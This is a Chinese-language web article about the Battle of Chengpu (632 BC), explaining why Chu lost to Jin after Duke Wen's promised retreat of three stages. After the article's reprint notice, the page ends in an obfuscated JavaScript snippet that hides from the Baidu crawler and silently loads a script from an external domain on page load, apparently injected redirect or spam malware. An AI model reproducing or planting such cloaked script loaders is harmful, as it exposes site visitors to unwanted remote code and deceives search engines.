當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

城濮之戰(zhàn)楚國為何為敗給退避三舍的晉國?

2017-04-28 23:41:53  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在了解城濮之戰(zhàn)之前,我們要先了解一個退避三舍這個成語的典故。為什么這么說呢?因為城濮之戰(zhàn)正是晉文公重耳兌現(xiàn)了他退避三舍承諾的一場戰(zhàn)

在了解城濮之戰(zhàn)之前,我們要先了解一個退避三舍這個成語的典故。為什么這么說呢?因為城濮之戰(zhàn)正是晉文公重耳兌現(xiàn)了他退避三舍承諾的一場戰(zhàn)役,但是盡管如此,楚成王還是輸了,不由讓人對這場戰(zhàn)役產(chǎn)生好奇。為什么晉國退避三舍,楚國卻還是在城濮之戰(zhàn)中戰(zhàn)敗了呢?

城濮之戰(zhàn)在《孫子兵法》中有提到過,并且被認為是春秋時期的重要戰(zhàn)役之一,為什么這場戰(zhàn)役這么重要呢,因為這場戰(zhàn)役決定了晉文公的霸權(quán)地位。

公元前632年四月初四,楚軍與晉軍在城濮交戰(zhàn),這場戰(zhàn)役發(fā)生在宋楚泓水之戰(zhàn)以后。如果說宋襄公是因為“仁義”而沒有攔住楚軍的攻勢,那么晉文公卻用自己的守信遏制了楚國的北進勢頭,穩(wěn)定了中原局勢,奠定了晉國的霸主地位,是春秋歷史上具有重大意義的一場戰(zhàn)爭。

泓水之戰(zhàn)時究其原由,我們可以發(fā)現(xiàn)楚國其實勢力強大、兵強馬壯,突破宋國的攔截之后一路北上,勢如破竹。原本宋國出手攔截楚國的北上也是因為晉秦兩國內(nèi)亂,但是重耳回國之后整頓內(nèi)務(wù),發(fā)展經(jīng)濟,提高軍隊實力,政權(quán)坐穩(wěn)了之后便開始著手對外了。晉國聯(lián)絡(luò)齊、秦以抗楚。晉楚都想爭奪霸權(quán)地位,爭鋒相對在所難免。

在這里就可以看出楚成王此人的性格了。城濮之戰(zhàn)之前,楚成王角色雙方實力對比出現(xiàn)一些變故,而且楚軍根據(jù)地太遠,戰(zhàn)線被拉長,恐后方遭秦國偷襲。但是楚軍將領(lǐng)子玉不聽王命,堅決不撤。按說將領(lǐng)不聽王命,楚成王不說大怒也會對試圖阻止將領(lǐng)吧。

但是楚成王沒有,非但沒有,反而抱著僥幸取勝的心理,給子玉補充了兵力。但是要說楚成王有要一戰(zhàn)的想法卻也不盡然,他給將領(lǐng)補充的兵力十分少。

這到底是要打還是不要打呢?

不管楚成王是怎么想的,子玉這頭已經(jīng)為了要與晉決戰(zhàn)而找借口了。子玉提出提出晉要曹、衛(wèi)復(fù)國才解宋圍的要求,晉文公便將計就計,私下答應(yīng)了,但是要求曹、衛(wèi)兩國必須與楚斷交,同時扣留了楚國使者,以此激怒了子玉。

子玉果然中計,放棄圍宋直指晉軍。這時候晉文公下令全軍退避三舍,聲稱兌現(xiàn)當(dāng)年流亡楚國時所作的承諾。這一舉動,非但可以避開楚軍的鋒芒,還以十分光風(fēng)霽月的形象拉攏了齊、秦的軍隊。晉軍這一退,子玉為人剛愎自用,自大的認為晉軍是畏懼他們了,率軍直上追到了城濮。楚軍孤軍深入,遭到晉軍猛攻,楚軍右翼被擊潰,子玉還不知后撤,晉軍誘敵深入,楚軍左翼被砍斷,楚軍大勢已去,子玉這才慌忙收兵回楚。

這一戰(zhàn)打得十分慘烈,楚軍大敗。而戰(zhàn)后,晉文公則一躍成為中原霸主。城濮之戰(zhàn),晉軍直接打退楚國,要知道當(dāng)時連齊宋都城都被楚軍勢力入侵,魯、衛(wèi)、鄭、陳、蔡等小國都已投降了楚人。城濮一戰(zhàn),楚軍直接退出了中原。中原各地回歸到晉國的領(lǐng)導(dǎo)之中,之后晉國又會盟諸侯,成為由周天子承認的霸權(quán)之國。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}